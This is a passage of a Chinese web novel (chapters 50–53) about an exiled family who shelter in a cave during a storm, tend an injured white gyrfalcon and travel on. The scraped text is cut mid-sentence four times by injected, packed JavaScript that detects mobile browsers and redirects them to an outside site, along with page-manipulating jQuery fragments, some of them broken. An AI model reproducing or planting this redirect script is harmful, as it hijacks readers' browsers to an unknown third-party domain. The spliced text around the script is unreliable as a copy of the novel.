雨越发大了。 宣文晟再次呛到了水,咳了几下,往车厢外吐出一口雨水,又赶紧将头缩了回来。 苏琯璋已经为白隼上了药,包好伤口。 “骨折了,它得有几个月飞不起来。”他说。 “雷劈的?”宣文晟问。 那雷竟有如此大的威力?他只见到它焦黑的伤口。 “不是,”苏琯璋回,小心地用剪子将白隼伤口附近被灼烧过的羽毛剪掉,“应当是撞到车窗的那一下撞骨折的。” 几人想起方才车窗被重重撞击的那一下,恍然大悟。 这时,宣槿妤忽然开口,“在它遭雷击的地方找找,看有没有能够避雨的山洞。” 宣文晟二话不说便下去安排了。 许玉娘疑惑地问:“矛隼避雨时多数是找树木、灌丛等地方,为什么要在它遭雷击的地方找山洞?” 宣槿妤赧然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837719|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,回答婆母,“两者没有关系。” “只是直觉,”她小声补充,“但我直觉很好的。”说完她就不好意思地捂了捂脸,显然也知道自己的解释没有什么说服力。 许玉娘笑着点头,不过也并不大在意宣槿妤说的什么直觉的话。 等到宣文晟一脸兴奋地跳上马车,指挥侍卫赶车时,她才震惊地看向宣槿妤。 “真是直觉啊?” 宣槿妤这下开心了起来,双眼亮晶晶的,“我就说我直觉很好的。” 许玉娘摸了摸她的脸,“真不错。” 她感慨着,“璋小子娶了你,真是苏家祖上冒青烟了。” 宣槿妤回头去看苏琯璋,眼神得意,就是! 苏琯璋失笑着将白隼放到桌子一旁,擦干才洗干净的手,将她的头按回怀中。 马车缓缓停下。 “这山洞好大。”众人下了马车,环视一圈,感慨道。 这山洞十分开阔,容纳了他们一百多人还不止,竟还能容纳五辆马车和十匹马。 “是怎么发现的?”苏声问,他方才也被苏琯璋推进了马车里,并不知道是谁找到的这处山洞。 他用手拨了拨山洞门口的草丛,又去看才被清理掉、在洞口两旁堆成高高一摞的灌木和荆棘,很是惊奇。 “这山洞伪装得这样好,竟还能被找到,果真是天佑我等。”苏老夫人乐呵呵接口道。 大抵上了年纪的人都有些迷信,苏老夫人以前就喜欢在自家子辈孙辈上战场前到各种道观寺庙去求神拜佛,以求他们平安归来。 而自苏家人顺利地从那刑部死牢里出来,她便越发信奉起神佛道法来,喜欢说些“老天保佑”之类的话。 宣文晟正站在人群后头,没听到苏声的问话,恰巧站在一旁的陈阳便和他解释了。 不过陈阳知道的,也只是宣文晟给的明面上的说辞。 宣文晟方才下马车带人找山洞时,并没有说是宣槿妤的直觉。 他只和陈阳王虎等人说他方才带人在附近搜寻,看有没有白隼的同伴,好一起给宣槿妤养着作伴,却意外发现了这处天然的大山洞。 听得陈阳王虎两队人一时不知该感慨他们的好运气,还是该感慨这宣三公子的宠妹无度。 这样可怖的雷雨天竟不去避雨,就为了找可能存在也可能不存在的一只矛隼,就为了哄妹妹开心。 也是兄妹情深了。 “竟还是只玉爪。”苏声也看到了安安静静待在马车车厢顶部的白隼。 宣文晟方才将这只白隼带下马车时,它见到人这么多,便显得有些狂躁,险些啄伤他。 还是被苏琯璋抱着的宣槿妤伸手安抚住了它,将它举着放在车厢上方。那里相对清静些,视野也高,白隼才慢慢在宣槿妤放抚摸下安静下来。 宣槿妤才从苏琯璋怀里下来,闻言去看公爹。 苏声和她解释道:“矛隼又名海东青,其中最珍贵的是玉爪,就是这种纯白色的。”他指了指眼神犀利地看过来的白隼。 “可见真是缘分。”许玉娘意有所指地笑道。 50. 第 50 章 夏季的暴雨,来得快,去得也快。 之前他们分明瞧着这场雷暴雨像是要毁天灭地的架势,但他们进入山洞之后不过一个多时辰,雨势便渐渐停了下来。 陈阳迫不及待地钻出了山洞。 “雨果真停了。”他高兴地回头跟众人说道。 同行了这么久,众人甚少见他这样外泄情绪,想来也是高兴坏了。 不过,等王虎等人出了山洞,才知他为何这样喜形于色。 前方道路上,有一小队人正朝着这个方向走来,全身上下皆是湿淋淋的,尤其中间那个一瘸一拐、还是被同僚搀扶着回来的。 但众人瞧着他们并没有被暴雨浇了一个多时辰之后的狼狈,一个个精神还挺不错的样子。 是前头派出去探路的斥候和后来去寻人的小队回来了。 此时乌云已经散开,露出天光,他们避雨的山体左侧上方还挂了一条霓虹,高高地在阳光下闪耀。 “小心头上滴水。”苏琯璋低声道,一手扶着宣槿妤,一手放在她头上替她挡着顺着山体流下来的水珠。 而那边陈阳已经和斥候了解完情况。 原来他去前方探路时,不慎惊扰了一条毒蛇。为躲避毒蛇的袭击,他又不小心踩中了猎户留下的陷阱,掉进了捕兽坑里。 幸好没过多久陈阳重新派出去的人就找到了他,将他救了上来。 “你的腿还好罢?”陈阳见他一瘸一拐、左脚裤腿湿润之余还有一片艳色流淌,蹲下去亲自给那人检查了伤势。 裤腿被撩起来,旁边的人顿时倒吸口凉气。 只见那斥候左小腿上一片血淋淋,拆开裹伤口的布条一看,好大一个血洞,横亘在脚踝处。 那斥候抹了把脸上残存的雨水,咧嘴一笑,“那毒蛇没能咬到我,但那坑里的捕兽夹倒是咬了我好大一口。”他说,语气里透着股诙谐。 “那你当真是命大了。”陈阳没好气道,都什么时候了还在这儿说什么俏皮话。 斥候接过同僚递过来的干毛巾胡乱擦了擦脸,听到上峰的埋汰也不恼不尴尬,瞧着依旧乐呵呵的模样。 “你这伤口太深了,”陈阳检查完了后说道,“须得尽快找个大夫瞧瞧。” 他站起身来,看那斥候还是一副笑模样,心里来了气,对着他肩膀狠狠捶了一拳,“还笑,你脚都要废了还笑。” 斥候“嘶”了一声,终于收起了笑容。 陈副尉打得也太狠了点。他心里嘀咕着。 不过陈阳也是在担心他,他心里门儿清,便也没什么怨言。 “这荒山野岭的,上哪儿去给你找个大夫?”陈阳自言自语,有些发愁。 这队伍要在路上走上个一年半载,老弱妇孺皆有,还有个双身子的,当初为什么就没人想到要找个大夫跟着? 对了。 那宣小少夫人前段时日妊娠反应那般大,是谁治的?前头苏家老夫人摔骨折了,又是谁来医治的? 他们并非只要正经专职的大夫来着。 等他终于想起队伍里还真有个会医术的,转头一看,苏琯璋已经将宣槿妤交给宣文晟和许玉娘照看,自己上前,也蹲了下去。 这会儿苏琯璋已经细细检查完伤口。 “伤口没毒,但是在雨水中泡了挺长时间,伤口又过深,得尽早处理。”他检查了一番,对着也蹲下来的斥候说着。 “若是缝合,你经得住疼不?”苏琯璋问。 他的伤口太大,血一直到这会儿还在流着,须得好生缝合才不会废了这条腿。 斥候看了看上峰陈阳,见他颔首,便去看苏琯璋,“那就有劳苏小公子了。”他有些紧张地说。 因着失血过多,他这会儿面色已经白得发青,只他一贯身强体壮,才能撑到这个时候。 苏琯璋接过宣槿妤递过去的药箱,用他前几日才制得的药酒洒在伤口上,先将他伤口上沾到的泥土碎叶等冲洗干净。 血水顺着他的裤管流到地上,又和他身上滴滴答答落下的雨水混为一体。 “你先进山洞换身干净衣裳,待会儿我再给你处理。”苏琯璋站起身,挡住了宣槿妤看过来的视线。 宣槿妤戳了戳他的后腰,轻哼了一声。 好小气的男人,又不是什么不能看的地方,作甚不给她看? 宣文晟:“……”一时不知该说谁才好。 一个确实气量狭小了些;一个好奇心又过于旺盛了点,还怀着孩子呢,不怕惊着自己,竟也不怕惊到腹中的孩子?! 许玉娘笑着将宣槿妤扶着转了个身,“槿妤你是双身子,不能看这样血腥的场面。” 宣槿妤对着苏琯璋可以任性可以和他闹,但面对婆母她一向乖巧,闻言便也乖乖地应了。 许玉娘含笑摸了摸她的头。 等到苏琯璋替斥候缝合好伤口且盯着他服下药丸,后头回来的人都换好衣裳,也快到了晚膳时分。 “先别赶路了,”陈阳带着后派去探路的人走了过来,“前方有大树倒塌,堵住了去路,现在清理也晚了。” 苏琯璋颔首,在流动的溪水下游洗掉一手的血腥气和药草气味,“天色也不早,今日大伙儿也都淋了雨,先煮点姜水去去寒。” 山洞里虽然通风,但到底夜里还要在里头歇息;既然雨水已经停了,宣文晟带来的两名厨娘便在山洞外生了火,架起一只铁锅。 见状,陈阳和王虎也让他们的人将柴火转移到山洞外边来。 这季节多雨,淋了雨需要及时散寒,宣文晟近来购置了不少姜和祛寒的药材,这时便正好派上用场。 山间清凉,等众人用过饭喝完姜汤,便都回了山洞里休息。 后半夜又下起雨来,淅淅沥沥的。 宣槿妤睡得迷迷糊糊的,只感觉自己的身子被苏琯璋用薄被裹着揽入他的怀中,便不大在意地换了个舒服的睡姿,靠在他身上很快又睡熟了。 天快亮时,一直安安静静地卧在马车车厢顶上歇息的白隼玉爪叫了起来。 那声音高亢,似是破空而来,在这山洞里回音不绝。 一众练家子警觉地坐了起来。 危险的气息悄无声息地游走,临近众人。 “叮~”的一声,守夜的一名官兵眼疾手快地飞出一把匕首,快准狠地插在一条乌黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841885|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小蛇七寸上。 “是一条过山峰。”被白隼叫声惊醒的陈阳走了过来,挑起那条死透了的小蛇,对身旁的王虎道,后怕地吐出一口浊气。 那名官兵站了起来,有些愧疚地站在陈阳面前,“头儿,我没及时发现那条蛇,是我的错。” 他当时飞出那把匕首的时候手都在抖,生怕那蛇突然暴起。过山峰毒性这样大,它随便伤了哪个人,怕都是没得救了。 陈阳拍了拍他的肩,“下次守夜还是要警醒些。” 他又转头对王虎道:“今日还是要走出这片大山,毒物太多了。” 王虎点头,“也要当心野兽。再派人出去探路时,我的人会跟着一起去,有个照应。” 陈阳应了。 那名官兵回到自己的位置,继续守着。 但其实也不必再守夜了。 因为方才的事,几乎将所有人都惊醒了,眼下天边也现出了一点鸭壳青,天将亮,也没法再入睡了。 许多人陆陆续续地起了身,听完了陈阳等人的对话。 宣槿妤没被白隼可以破空的叫声惊醒,却被这样窸窸窣窣的动静扰了睡眠。 她眼睛没有睁开,脑袋往苏琯璋怀里扎去,“怎么了?要起了吗?”她迷迷糊糊地问。 “没事,你继续睡。”苏琯璋方才第一时间已经将宣槿妤抱坐起来,听到她含着睡意的问话,亲了亲她的额头,安抚道。 于是宣槿妤在他怀里蹭了蹭,果真继续睡去。 等到她睡饱了起身后,才听到苏琯璋和她说清晨发生的事情。 山洞里旁的人也都出去了,也就苏琯璋一直守着熟睡中的宣槿妤,这时候偌大的山洞里,活人便也只有他们夫妻二人。 宣槿妤在苏琯璋的帮助下很快洗漱完毕,但她还不急着出洞口去用早膳,而是让苏琯璋抱她起来,去看那只玉爪。 “是你救了我们。”她伸出手,摸了摸白隼的的头。 白隼圆溜溜的棕褐色眼睛直勾勾地和宣槿妤对视,过了好一会儿,它才低着头,用它已经干燥的小脑袋去蹭她的手。 纵然昨日已经摸过白隼脑袋,但那时它的头还是湿漉漉的,用干毛巾擦了也还是炸毛的状态。 而今它身上的翅膀毛发都已经干透,摸起来手感便极好。 触感十分顺滑,像是在摸一匹品质极佳的绸缎,但又十分细腻紧实。若再细细抚摸感受,又能察觉出上面还带着一层油润感,且弹性上好,触手微凉。 宣槿妤情不自禁地摸了又摸。 白隼也甚为惬意地半眯着眼睛,享受着她的抚摸,半点没有身为凶禽的自觉。 “该用早膳了。”苏琯璋将她托抱下来,放在地上,“祖母他们在等着我们了。”他没什么情绪地说着。 “苏琯璋,这玉爪是一只雌鸟还是雄鸟?”宣槿妤福至心灵。 苏琯璋已经拿过水囊,闻言没有多想,随口回道:“雄鸟。”他昨日替这白隼处理伤势时已经看过了。 宣槿妤了然,斜睨他一眼,“好小气的男人。”她说。 昨日她的想法果真不错。她眉眼弯弯的,显然心情极好。 51. 第 51 章 苏琯璋这时也已经反应过来宣槿妤的言外之意了,只假作没听见,面不改色地淋湿了帕子,替她擦了手。 但宣槿妤好不容易窥得他心思一角,哪里肯这样放过他。 “你说你是不是小气?”她揶揄地问着男人,虽是仰着脸,但却垂着眼睑,掩饰着心里的紧张与期待。 “没有。”苏琯璋淡声道。 他给她擦完了手,自己凑合着也用了同一张帕子给自己也擦了,才洗干净帕子,也不放在车窗上晾着,只用内力快速烘干了再放回怀里。 宣槿妤盯着他的动作,见他这样珍惜她给他的帕子,心里欢悦极了。 他说没有,她才不信。 “是不是?”宣槿妤追问。 苏琯璋被她缠得无法,只得应了,“是。”他说。 宣槿妤愉悦地勾起了唇,扑到他怀里,仰着头看他,“苏琯璋,你竟连一只鸟的醋也要吃吗?”你心里这样在意我吗? 苏琯璋被温香软玉扑了满怀,忙搂住她。 他低了头,见她难得一副神采飞扬的模样,心里一软。 “该用早膳了。”他摸了摸她的脸,正色说道。 避而不答! 哼。 宣槿妤正想退出他的怀抱,但想了想,见他脸上仍是一本正经的模样,又好笑又有些不甘心。 “你就是吃醋了对不对?”她攥住他的衣袖,摇晃着问。 她今日非要逼他将心里话说出来不可。 “你说不说?”见他要回避,宣槿妤忙抓住他的大掌,在他掌心里挠了又挠。 她眼里还含着笑,光华流转间,他清晰地在她眸间看到了自己的倒影。 只有自己。 苏琯璋瞳色一颤,猛地抓住她捉弄人的手,眼神很深,“槿妤。” 宣槿妤看懂了他的眼神,动作一顿。 平素里苏琯璋在床笫间动了情便是这样一副模样,此时多了一分隐忍克制,便显得越发勾人。 而二人相贴的地方,也有什么不合时宜的东西跳了起来,隔了几层衣裳,仍灼烫了她的肌肤。 宣槿妤的脸也烫了起来,老老实实地站在他面前,不敢动了。 苏琯璋松了口气,握着宣槿妤的肩膀将她挪了个位置,让她替他挡着山洞外随时可能看过来的视线。 他现下确实不能见人。 宣槿妤双颊绯红,眼神飘忽,只觉着身上也开始热了起来。方才的嬉笑犹在眼前,她却不敢再管他要答案了。 呜呜呜,幸好这里也就他们两个,不然丢脸可丢大发了。 她用头捶着男人的胸膛,一下又一下,动作略有些重。 苏琯璋这个不要脸的臭男人! 但她还要脸的!嘤嘤嘤!真被人见到,她就不用做人了。 苏琯璋僵硬地环着她的腰,任由她用头捶着自己,只心里默念着清心经,慢慢平稳着呼吸。 他也确实是孟浪了。 过了好一会儿,他才长长地松了口气。 察觉到他那灼人的温度终于降下去,宣槿妤终于停止了捶他的动作。 苏琯璋将她的头抬起来,凝视着她的脸。 宣槿妤眼神依旧是飘忽的,并不看他。 苏琯璋看着宣槿妤难得一副心虚且乖巧的模样,心里一动,忍不住亲了亲她的脸。 像是羽毛拂过脸颊,却又带着人身上温软的触感,微凉而轻柔。 宣槿妤摸了摸被苏琯璋亲过的地方,抬眼去看他,正看到他眼中难得的温柔,一怔。 “该用膳了,你们怎么还不出去?”许萱娘走进山洞,奇怪地看着站在马车旁对视着的夫妻俩,催促道。 二人这才回过神来。 “这就出去了。”宣槿妤回了一句,有些不自在地率先走了出去。 她忘了她的手还被男人抓着,于是洞口的许萱娘见到的便是苏琯璋沉默着像是一副小媳妇的模样,慢吞吞地跟在宣槿妤身后朝她走来。 许萱娘这时也才慢慢反应过来,她好似打断了这对夫妻间的旖旎情思;还兀自尴尬着呢,便瞧见了这一幕。 “噗嗤”,她盯着二人,忍不住笑了起来。 自打他们被流放之后,这一路上被槿妤折腾得,小弟好似变了不少,更有活人气了,不再是一副冷冰冰玉雕的假人模样。 其实这样也挺好的。 许萱娘悄悄地和婆母咬耳朵,直将许玉娘逗得笑个不停,笑得宣槿妤用膳时都不敢抬起头,露出的脖颈都是绯色的。 她们俩用得快,这当会儿已经放下了筷子。此时正是一日里最清闲的时候,再遇上什么趣事,便能维持一日的好心情。 她们自顾自地说着悄悄话,除了心虚的宣槿妤,旁人也不大在意,只当婆媳俩在说些贴心话。 偏生彤姐儿边吃边去看她娘亲和祖母咬耳朵,好奇到心痒却又碍于教养没有凑过去听,便将目光转向其余人。 看到宣槿妤时,她惊奇地叫了起来,“小婶婶你脸好红哦!” 她一句话,一下子便给宣槿妤吸足了旁人的视线。 宣槿妤红着一张脸和彤姐儿对视,磕磕绊绊地试图掩饰,“小婶婶有点热。” 小孩子特别单纯好骗,尤其骗她的人是她很喜欢的小婶婶。 于是彤姐儿饭也不吃了,很懂事地拿过她的小扇子,走到宣槿妤身边就给她扇起风来。 宣槿妤:“……”对不住了彤姐儿,小婶婶不是故意骗你的。 她有些坐立难安,又不好推翻方才说她热了的说法。 幸好苏琯璋及时接过扇子,“我来,你继续吃。” 彤姐儿坐回原位,许萱娘和许玉娘二人摸了下她的头,而后笑看了宣槿妤好一会儿,才移开目光。 不过直到大家用完饭,她们二人也没再继续说悄悄话。 用过早膳,一行人便匆匆启程赶路。 雨已经彻底停了,天上挂了一轮暖阳,有暖融融的水气蒸腾着,扑向两旁高大的乔木。 “若是不想走了,就和我说。”苏琯璋低声和她说道。 他一手牢牢地撑在宣槿妤腰上,旁人从后头远远看去,他像是在亲密地搂着她。 宣槿妤胡乱地应了一声。 想到清早她被大嫂嫂许萱娘还有婆母笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852136|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,又想起更早之前他们之间的暧昧缠绵,她脸上不禁漫起红霞。 苏琯璋以为她是被热着了,忙用空着的那只手作扇,轻轻地给她扇着,“可是热着了?”他担心地问。 她用早膳时就说热,他也没多想,只以为孕妇体热,她比旁人更耐不住热气。全然没想到山间风徐徐,她哪里会热着。 宣槿妤回想着他那时的温柔,又看着眼下这个又好似变回原样的木头,有些恼了,瞪他,“你才热了,都怪你。” 苏琯璋莫名挨了一记白眼,又想不明白妻子好端端的为什么又恼了。 想了好一会儿,他将这些归于她有了身子,也觉着她性情变化是正常的。于是也没有再说话,只揽住她腰际的手微微用力,将她打横抱在怀中。 “山路崎岖,不好走,我抱你。”他略带紧张地盯着宣槿妤的反应,生怕她又不开心。 宣槿妤将头埋在他怀里,只“哦”了一声,在他看不见的角度,唇边的弧度却高高扬起。 虽然这根木头不开窍,但好歹也有了一点进步。 她就大度一点,放过他吧! 日头升至他们头顶时,这片走了好几日的连绵群山终于被他们甩在身后。 道路肉眼可见地开始平坦起来。 “接下来近百里路都是草原。” 他们停下来埋锅造饭时,陈阳取出被折成巴掌大的羊皮地图,展开指着跟王虎说道:“你的人也学会探路了,接下来可要跟我们换一换位置?” 他在征询王虎的意见。 先前一直是陈阳带人走在前头开路,王虎和他的人在殿后保护。 而这片草原辽阔地形一览无余,若王虎想换,也正是时候。 王虎没有多想就答应了。 他的人这些时日走得可憋屈,夜间停下休息时恨不能绕山跑个上十圈,好将身上旺盛的精力消磨掉。 若是他们走在前头,说不准可以走快些。 “接下来他们都可以坐马车了,”王虎想着便说出口,“你的人也是幸运,不必压着步子。” 陈阳哈哈大笑,拍了拍他的肩膀,收起羊皮地图,“还是没经历过行军的人才能说出这种话。” 王虎不悦地皱起眉。 他们禁军和兵部两支军队的矛盾为何常年解不开?还不是他们兵部之人嘲笑他们身为军人,却连战场是什么样子的都没见过? 他冷哼一声,起身走了。 上过战场很了不起? 王虎咬牙,但不得不承认,还真了不起。 他早晚也要上一次战场! 他气哼哼的,才十几步路的脚程,被他走出了有如身后有猛虎追赶的架势,步步生风。 陈阳摸了摸鼻子,对着疑惑地看过来的下属们道了一句“无事”,便加入了烧饭的队伍中。 “你先前吃了什么东西?这还不饿?”宣槿妤已经让苏琯璋将白隼从车厢顶上取了下来,放在临时支起的木桌上,摸了摸它鼓鼓的肚子,眉眼含笑。 孩子们围在她身边,好奇地盯着这只在大人口中凶猛无比不得招惹,却在小婶婶手中无比温顺的海东青。 52. 第 52 章 “玉爪是它的名字吗?”慕哥儿问,他的小手已经伸了出来,对着半眯着眼享受着宣槿妤抚摸的白隼油光水滑的洁白翅膀,一脸的蠢蠢欲动。 启哥儿眼疾手快地将他的手打了下去,“慕哥儿乖些。” 宣槿妤看了过来,“慕哥儿想摸?” 慕哥儿渴望地猛点头,“想,小婶婶,我也想摸。” 其余孩子们,连带着方才还阻止小堂弟冒险的启哥儿,也俱都满眼期待地看着宣槿妤。 “那你问问它愿不愿意让你摸。”宣槿妤说道,回答慕哥儿方才的疑问,“玉爪是它的品种,它是野物,没有名字的。” 于是慕哥儿当真去问白隼,童声稚嫩充满渴求,“小白白,我可以摸摸你吗?” “小白白是在叫它吗?”宣槿妤问他。 慕哥儿理所当然地点头,“小婶婶说它没有名字,那我就给它起一个。它长得这样白,就叫它小白白好了。” 宣槿妤一时失言。 白隼看都没看慕哥儿一眼,将头转过去,屁股对着他。 “他好像不喜欢你起的名字呢!”燕姐儿和弟弟说道。 “那我不叫你小白白,你能给我摸一摸吗?”慕哥儿也不伤心,还惦记着要摸白隼的事。 其余孩子们也都眼巴巴地盯着白隼的反应,心里的渴求险些从眸间溢出来。 白隼不耐烦地扇了扇翅膀。 这便是拒绝的意思了。 “好吧!”慕哥儿瘪着嘴,一副很不开心的模样;却没有哭也没有闹,很快就接受了白隼不愿意搭理他这件事。 “小婶婶,我们不摸它,可以让它转过身来给我们看吗?”彤姐儿问宣槿妤。 宣槿妤揉了揉白隼手感极佳的小脑袋,将它抱着转了个身。 “看吧!只都不许动手,当心它伤了你们。”她叮嘱道。 孩子们兴奋地连连点头,七颗小脑袋凑在一起,嘀嘀咕咕的,欣赏着玉爪的英姿,也果真没有一个人动手。 这样水草丰茂的大草原,最适合扎营居住。 他们很早之前就准备好的帐篷终于派上了用场,一顶顶灰色的帐篷被支了起来,分散在这样浓绿的草地上。 远远望去,像是蓊郁的草地上,开出了一朵朵灰色的小花儿。 “像一座座小山包。”前方探路回来的斥候毫无想象的美感,对着陈阳这样说道。 王虎嘲笑陈阳,“你的人果真是个大老粗。” 陈阳:“……说的像是谁不是个大老粗一样?”都是行伍中人,不都莽夫一个? “除了苏家人。”为着严谨,他补充道。 他们这些人,谁不是穷苦人家出身,凭借着一点好运气,走上习武这条路,然后祖上冒了青烟,才能进入人才济济的兵部或禁军? 运气差一点儿的,都被丢到战场上,当个无名小卒,从此生死皆不由己身。 王虎被陈阳噎得无话可说,只示意他的手下,“说说你的看法。” 他的手下为着不让自己的上峰丢了脸面,绞尽脑汁,然后说:“像是草地上开出了一座座小坟包。” 王虎:“……”想象力真好,别说了。 陈阳带头哈哈大笑。 路过的宣文晟无情吐槽,“好诡异的说法,是个人才。” 他转头就找了苏琯璋说了这件事,收获妹夫清清淡淡毫无波澜的眼神。 宣文晟毫无分享的成就感,白了他一眼,“我就不该找你说话。” 他哪怕是找苏家其余人分享这桩趣事呢! 要知道,这样日复一日南下的平淡生活,可真是太无聊了,他好不容易才得了这样一桩可以笑笑的乐子。 若非怕吓着妹妹,他最该找的人,是宣槿妤才对。 “文晟哥若是无事可做,可以帮忙劈个柴。”苏琯璋说,“柴火要不够用了。” 苏琯文正“哼哧哼哧”地劈着柴,闻言忙招呼人,“宣三哥快过来,柴管够。” 不是,谁要劈柴了? 还管够?当他乐意劈柴呢? 宣文晟回头去找宣槿妤,想让妹妹为自己说话,但见她正和孩子们围着那只玉爪玩得正开心,只得叹了口气,撸起袖管,认命地干活儿去了。 广袤的草原上有太多无主的野生动物,成群的野鸡野鸭,还有肉嫩鲜美的羊群。 宣文晟带来的侍卫们都是一群狩猎打鱼的好手,不仅捉住了三两只肥羊,还下水捞了不少大鱼,凑了一锅鱼羊鲜。 这一晚,他们吃了个心满意足。 夜里,夫妻俩单独住了一顶帐篷。 苏琯璋终于想明白了宣槿妤在用早膳时、和她后来非要自己下地走山路时的异常。 “抱歉,”他抱住宣槿妤,贴在她耳边轻声道,“今晨是我有欠妥帖。” “是我没控制住自己的反应,却险些毁了你的清誉。” 若今晨他们二人独处时有人闯进了山洞,见到他那样一副模样,是苏家人和宣文晟还好,若是旁人…… 有关男女之间的风月情事,吃亏的总不会是男子。 世间对女子多有苛责。 同样一件事,于男子而言便是风流情事,于女子而言便是浪荡下贱。 即便他们是夫妻,被旁人撞见了,虽明面上可能不敢说些什么,但私下里总会对宣槿妤指指点点。 说些什么她好手段,身怀有孕还能勾起他的□□等等污秽之言。 他是大理寺少卿,去各地复核卷宗时听多了这样不管对错,总是女子之过、祸起女子的言论。 他险些害了她。 “对不住,槿妤。”苏琯璋懊悔不已,贴着她的脖子轻轻吻着,借以平复自己的情绪。 “我会控制好自己的,日后不会再让你陷入那样的境地了。”他说,低着头看宣槿妤的眼睛,神情十分认真。 宣槿妤眨了眨眼,听完了他的剖白和歉言,摸了摸他的脸,“你知道就好。” 她的声音里带了委屈,因着他的纵容,还多了几分撒娇的意味。 宣槿妤想,她真是栽在这男人身上,再无法翻身了。 纵然这男人有时候清冷寡言到浑不似一个活人,常惹得她生气;但过后他总会带着他的反思与坦诚来找她和谈。 常年如非必要,一日也说不了几句话的男人,这时候就一改常态,认真地剖析 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857372|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己的想法,说出他的错,并承诺会改。 她本就舍不得他,再见他这般,哪里还会舍得不去搭理他。 “你就吃准了我吃你这一套。”她咬上他的唇,盯着他的眼睛,含糊不清地说道。 苏琯璋清淡的眸中又有了很明显的情绪,他在笑。 虽然没有听清楚她在说什么,但她的举动很明显,她原谅她了。 他反客为主,将他今日在山洞马车旁就想做的事情,毫无顾忌地做了出来。 他吻得好凶,下次不主动招惹他了。 宣槿妤临睡前,这是出现在她脑中的最后一个念头。 接下来几日都有着很好的天气。 马车行驶在草地上,速度比往常都要快了许多。 车窗开着,草原上的清风混合着青草的气息飘入马车中,驱散了夏日的暑热之气。 宣槿妤缩在苏琯璋怀里,昏昏欲睡。 她近些日子肚子又大了一些,行动也有些不大方便了,身子也懒怠许多。 只偶尔在马车上坐累了、待烦了,她才要求下地走走,不然就会像如今这般,赖在苏琯璋身上不愿意动弹。 “要不要换个姿势?”苏琯璋问,给她喂了一颗野果。 这种果子是前几日他和宣槿妤饭后消食时无意间发现的,黝黑发亮的果实和葡萄十分相似,却要小一点。 他尝了尝,觉着味道有点酸,宣槿妤却十分喜欢。 因为这种果子无毒无害,酸酸甜甜的又适合孕妇的口味,他还摘了不少,特意在马车上给宣槿妤留着作零嘴吃。 林清婉之前特意亲手给宣槿妤做的酸梅早已吃完,眼下他们又在离有人烟的地方越走越远,宣槿妤馋了一两个月,可算是吃上了酸果。 而孩子们,也终于有了零嘴可以解解馋。 “我还要吃。”宣槿妤懒懒地翻了个身,躺在他腿上,捂着嘴秀气地打了个哈欠。 困成这样。 苏琯璋摸了摸她的脸,又给她喂了一颗,“要不睡会儿?” 宣槿妤摇了摇头,“不要,昨日白天就是睡多了,夜里才睡不着。” 昨夜她翻来覆去就是睡不着,索性将他扒拉起来,闹着要让他给自己讲故事。 可苏琯璋哪里会讲故事? “那就说说你经手过的案子。”宣槿妤不愿意放过他,她自己睡不着,就要折腾他。 苏琯璋想了好一会儿,还真想出了几个并非机密也适合她听的案子。 “这是什么时候的事儿?”宣槿妤问。 “我们婚后第一年,有一个月我日日都很晚回来。”苏琯璋放轻了声音。 宣槿妤隐约有了点印象,“就之前京中传得沸沸扬扬的那个?”她终于想起来了,原来她听过这案子。 苦主有一个很机灵聪敏的儿子,只家中没钱,没办法送他去学堂读书。学堂的夫子见他好学且有慧根,便特例许他在学堂外旁听。 只一日,这孩子在学堂外旁听的时候,无意间冲撞了贵人,被抓进了衙门里“略施薄惩”。 才几岁的孩子,哪里受得住衙门里的刑罚?被放归家中不过一日,便没了性命。 53. 第 53 章 苦主是个鳏夫,再没了儿子,生活便没了指望。他万念俱灰,想自杀无果,得夫子的指点,便去了大理寺鸣冤,想要为儿子讨个公道。 很老套简单的案子,却因着苦主穷农的身份,和另一方权贵的背景,好似还纠缠到了皇家,惹得大理寺查了很久,却毫无进展。 最后还是大理寺卿一拍手,将案子扔给了苏琯璋,让他去和皇权对着干。 还真让他顶着压力还了苦主一个清白,给了那冤死的孩子一个公道。 